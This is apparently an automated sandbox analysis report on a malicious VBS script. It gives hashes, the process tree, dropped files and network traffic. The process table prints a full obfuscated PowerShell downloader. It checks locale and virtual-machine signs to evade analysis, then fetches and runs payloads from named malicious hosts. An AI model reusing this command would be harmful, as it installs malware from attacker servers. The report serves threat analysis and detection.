File name: | 194f80dc24161881d8ce03acbe83ed8141d4e7363a1a5f84faf83c740eb4be18.bin.gz |
Full analysis: | https://app.any.run/tasks/d234de23-7bf8-48ea-8b81-f389b1db5b05 |
Verdict: | Malicious activity |
Analysis date: | April 15, 2019, 10:33:52 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | application/gzip |
File info: | gzip compressed data, max compression, from Unix |
MD5: | 5A9C037DE235C6D8DAF0A744096E454E |
SHA1: | 63EF771D6D87E25EF34BF89704757399202EE5F6 |
SHA256: | 1B892A7DB2D8CAC1D8841214F54AAEA2B6D04F773DD12B927A192A87861BC73E |
SSDEEP: | 192:DODbsXGxzS3Cyfkj1MwjhNtjAW8LpcxSqR2m:i3sWICyfkj1PN9OLpcAQ2m |
.z/gz/gzip | | | GZipped data (100) |
---|
OperatingSystem: | Unix |
---|---|
ExtraFlags: | Maximum Compression |
ModifyDate: | 0000:00:00 00:00:00 |
Flags: | (none) |
Compression: | Deflated |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2580 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\194f80dc24161881d8ce03acbe83ed8141d4e7363a1a5f84faf83c740eb4be18.bin.gz.z" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.60.0 | ||||
3680 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\Desktop\194f80dc24161881d8ce03acbe83ed8141d4e7363a1a5f84faf83c740eb4be18.bin.vbs" | C:\Windows\System32\WScript.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
2584 | powershell -WindowStyle Hidden -Command $a='';105,102,40,32,40,40,71,101,116,45,85,73,67,117,108,116,117,114,101,41,46,78,97,109,101,32,45,109,97,116,99,104,32,39,82,85,124,85,65,124,66,89,124,67,78,39,41,32,45,111,114,32,40,40,71,101,116,45,87,109,105,79,98,106,101,99,116,32,45,99,108,97,115,115,32,87,105,110,51,50,95,67,111,109,112,117,116,101,114,83,121,115,116,101,109,32,45,80,114,111,112,101,114,116,121,32,77,111,100,101,108,41,46,77,111,100,101,108,32,45,109,97,116,99,104,32,39,86,105,114,116,117,97,108,66,111,120,124,86,77,119,97,114,101,124,75,86,77,39,41,32,41,123,32,101,120,105,116,59,32,125,59,36,122,106,106,101,100,103,32,61,32,91,83,121,115,116,101,109,46,73,79,46,80,97,116,104,93,58,58,71,101,116,84,101,109,112,80,97,116,104,40,41,59,36,118,120,118,118,118,106,104,32,61,32,74,111,105,110,45,80,97,116,104,32,36,122,106,106,101,100,103,32,39,83,107,121,112,101,65,112,112,54,52,46,101,120,101,39,59,36,104,97,117,102,97,32,61,32,39,104,116,116,112,58,47,47,103,105,107,111,46,101,109,101,114,97,108,100,115,117,114,102,115,99,105,101,110,99,101,46,99,111,109,47,97,112,105,63,122,106,121,102,105,103,39,59,36,118,116,122,121,98,121,103,32,61,32,74,111,105,110,45,80,97,116,104,32,36,122,106,106,101,100,103,32,39,83,101,97,114,99,104,73,51,50,46,106,115,39,59,36,98,103,105,118,32,61,32,39,104,116,116,112,58,47,47,105,114,109,46,115,107,111,102,105,114,109,46,110,101,116,47,108,50,46,112,104,112,63,118,105,100,61,112,101,99,54,39,59,36,99,99,104,97,102,122,32,61,32,74,111,105,110,45,80,97,116,104,32,36,122,106,106,101,100,103,32,39,98,116,120,97,46,112,100,102,39,59,36,98,121,101,118,104,105,32,61,32,39,104,116,116,112,58,47,47,105,114,109,46,115,107,111,102,105,114,109,46,110,101,116,47,108,50,46,112,104,112,63,118,105,100,61,112,101,99,54,39,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,98,121,101,118,104,105,44,36,118,116,122,121,98,121,103,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,118,116,122,121,98,121,103,59,125,99,97,116,99,104,123,125,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,104,97,117,102,97,44,36,118,120,118,118,118,106,104,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,118,120,118,118,118,106,104,59,125,99,97,116,99,104,123,125,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,98,103,105,118,44,36,99,99,104,97,102,122,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,99,99,104,97,102,122,59,125,99,97,116,99,104,123,125,59|%{$a+=[char]$_};iex $a; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3160 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command $a='';105,102,40,32,40,40,71,101,116,45,85,73,67,117,108,116,117,114,101,41,46,78,97,109,101,32,45,109,97,116,99,104,32,39,82,85,124,85,65,124,66,89,124,67,78,39,41,32,45,111,114,32,40,40,71,101,116,45,87,109,105,79,98,106,101,99,116,32,45,99,108,97,115,115,32,87,105,110,51,50,95,67,111,109,112,117,116,101,114,83,121,115,116,101,109,32,45,80,114,111,112,101,114,116,121,32,77,111,100,101,108,41,46,77,111,100,101,108,32,45,109,97,116,99,104,32,39,86,105,114,116,117,97,108,66,111,120,124,86,77,119,97,114,101,124,75,86,77,39,41,32,41,123,32,101,120,105,116,59,32,125,59,36,122,106,106,101,100,103,32,61,32,91,83,121,115,116,101,109,46,73,79,46,80,97,116,104,93,58,58,71,101,116,84,101,109,112,80,97,116,104,40,41,59,36,118,120,118,118,118,106,104,32,61,32,74,111,105,110,45,80,97,116,104,32,36,122,106,106,101,100,103,32,39,83,107,121,112,101,65,112,112,54,52,46,101,120,101,39,59,36,104,97,117,102,97,32,61,32,39,104,116,116,112,58,47,47,103,105,107,111,46,101,109,101,114,97,108,100,115,117,114,102,115,99,105,101,110,99,101,46,99,111,109,47,97,112,105,63,122,106,121,102,105,103,39,59,36,118,116,122,121,98,121,103,32,61,32,74,111,105,110,45,80,97,116,104,32,36,122,106,106,101,100,103,32,39,83,101,97,114,99,104,73,51,50,46,106,115,39,59,36,98,103,105,118,32,61,32,39,104,116,116,112,58,47,47,105,114,109,46,115,107,111,102,105,114,109,46,110,101,116,47,108,50,46,112,104,112,63,118,105,100,61,112,101,99,54,39,59,36,99,99,104,97,102,122,32,61,32,74,111,105,110,45,80,97,116,104,32,36,122,106,106,101,100,103,32,39,98,116,120,97,46,112,100,102,39,59,36,98,121,101,118,104,105,32,61,32,39,104,116,116,112,58,47,47,105,114,109,46,115,107,111,102,105,114,109,46,110,101,116,47,108,50,46,112,104,112,63,118,105,100,61,112,101,99,54,39,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,98,121,101,118,104,105,44,36,118,116,122,121,98,121,103,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,118,116,122,121,98,121,103,59,125,99,97,116,99,104,123,125,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,104,97,117,102,97,44,36,118,120,118,118,118,106,104,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,118,120,118,118,118,106,104,59,125,99,97,116,99,104,123,125,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,98,103,105,118,44,36,99,99,104,97,102,122,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,99,99,104,97,102,122,59,125,99,97,116,99,104,123,125,59|%{$a+=[char]$_};iex $a; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2584 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8CSIU13Z9LPMMIID4P3G.temp | — | |
MD5:— | SHA256:— | |||
3160 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\76N3CB1SR8T62FPX3U1H.temp | — | |
MD5:— | SHA256:— | |||
2584 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF10bf4a.TMP | binary | |
MD5:16D0FD6E07266B2C15A9D7BC6623F506 | SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B | |||
3160 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:16D0FD6E07266B2C15A9D7BC6623F506 | SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B | |||
2580 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2580.45457\194f80dc24161881d8ce03acbe83ed8141d4e7363a1a5f84faf83c740eb4be18.bin.gz | text | |
MD5:6AEB5DF0AE6786AE75E60B584B29BBD7 | SHA256:194F80DC24161881D8CE03ACBE83ED8141D4E7363A1A5F84FAF83C740EB4BE18 | |||
3160 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF10bfd7.TMP | binary | |
MD5:16D0FD6E07266B2C15A9D7BC6623F506 | SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B | |||
2584 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:16D0FD6E07266B2C15A9D7BC6623F506 | SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3160 | powershell.exe | GET | 404 | 185.158.251.243:80 | http://irm.skofirm.net/l2.php?vid=pec6 | NL | xml | 345 b | malicious |
3160 | powershell.exe | GET | 404 | 185.158.251.243:80 | http://irm.skofirm.net/l2.php?vid=pec6 | NL | xml | 345 b | malicious |
2584 | powershell.exe | GET | 404 | 185.158.251.243:80 | http://irm.skofirm.net/l2.php?vid=pec6 | NL | xml | 345 b | malicious |
2584 | powershell.exe | GET | 404 | 185.158.249.151:80 | http://giko.emeraldsurfscience.com/api?zjyfig | NL | xml | 345 b | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3160 | powershell.exe | 185.158.251.243:80 | irm.skofirm.net | 23media GmbH | NL | suspicious |
2584 | powershell.exe | 185.158.249.151:80 | giko.emeraldsurfscience.com | easystores GmbH | NL | suspicious |
2584 | powershell.exe | 185.158.251.243:80 | irm.skofirm.net | 23media GmbH | NL | suspicious |
Domain | IP | Reputation |
---|---|---|
irm.skofirm.net |
| malicious |
giko.emeraldsurfscience.com |
| suspicious |